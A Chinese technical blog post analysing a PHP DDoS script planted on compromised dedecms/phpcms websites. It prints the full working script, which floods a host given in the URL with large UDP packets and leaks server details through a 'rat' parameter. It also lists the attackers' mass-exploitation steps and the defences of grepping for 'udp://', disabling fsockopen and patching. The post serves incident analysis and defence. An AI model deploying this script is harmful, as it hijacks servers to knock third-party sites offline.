Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1906682
  • 博文数量: 498
  • 博客积分: 2078
  • 博客等级: 大尉
  • 技术积分: 1645
  • 用 户 组: 普通用户
  • 注册时间: 2008-11-18 22:43
个人简介

安大

文章分类

全部博文(498)

文章存档

2017年(1)

2016年(2)

2015年(21)

2014年(90)

2013年(101)

2012年(267)

2011年(16)

分类: Web开发

2013-07-25 12:36:09

近期有大量的网站反馈,某IP持续请求网站上的某脚本文件(本例中是diy.php),产生大量的针对其他网站的访问请求,某安全团队在与用户取得联系后得到访问日志和脚本的源代码如下:

访问日志:

199.36.74.138 - - [29/Jul/2012:00:48:00 +0800] "GET /include/diy.php?host=76.10.221.209&port=6005&time=60 HTTP/1.1" 200 1371

PHP DDOS脚本:

 

    set_time_limit(999999);
    $host = $_GET['host'];
    $port = $_GET['port'];
    $exec_time = $_GET['time'];
    $Sendlen = 65535;
    $packets = 0;
    ignore_user_abort(True);
    if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
            if (StrLen($_GET['rat'])<-------->0){
                    echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                    exit;
                }
            echo "Parameters can not be empty!";
            exit;
    }
    for($i=0;$i<$Sendlen;$i++){
            $out .= "A";
        }
    $max_time = time()+$exec_time;
    echo "最大攻击时间:" . $max_time . "
";
    echo "攻击目标IP:" . $host . "
";
    echo "攻击端口:" . $host . "
";
    while(1){
        $packets++;
        if(time() > $max_time){
            break;
        }
        $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
            if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
    }
    echo "Send Host:$host:$port

";
    echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

";
    echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";

    ?>

 

该脚本使用了GET方式获取host,port和time三个参数,并且定义了发送的数据包大小为65535,最终构造的数据包为65535个 “A”,然后通过调用fsockopen函数:fsockopen(“udp://$host”,$port, $errno, $errstr, 5);,采用UDP协议发送恶意数据包到目标网站的目标端口,以网站服务器为源头发起DOS攻击,消耗大量网站流量,占用网络带宽,最终导致网站无法正常访问。

 

经测试以上脚本每分钟发送的数据包平均能达到40W以上,对网站正常服务的杀伤力很大。在对遭受恶意DDOS脚本攻击的网站应用统计后发现,大部分网站使用的是dedecms以及phpcms作为网站应用,这也许与之前的相关CMS漏洞有关。

 

此类攻击方式类似于前几年比较盛行的mass sql injection攻击:即通过一个已知web应用的安全漏洞(比如SQL注入),结合搜索引擎,就可以发现大批存在该漏洞的网站,从而实现全自动的攻击流程:

发现web应用漏洞

 

1、发现web应用漏洞
2、搜索引擎寻找漏洞网站群(使用该web应用的网站)
3、结合爬虫批量攻击所有网站
4、批量上传恶意文件
5、批量发起DOS攻击
6、黑客主控端监控并维护被入侵网站列表

 

黑客通过以上步骤能够轻松实现有目的、批量、智能化的大范围恶意攻击。

 

针对恶意DOS脚本攻击的解决方案:

1.检查网站所有文件是否出现恶意fsockopen函数调用,或者以“udp://”为关键字grep检查网站所有文件,查看是否被植入恶意DOS脚本。
2.修改php.ini,设置disable_function:fsockopen,禁用fsockopen函数。
3.安装开源网站应用的最新安全补丁。
阅读(718) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~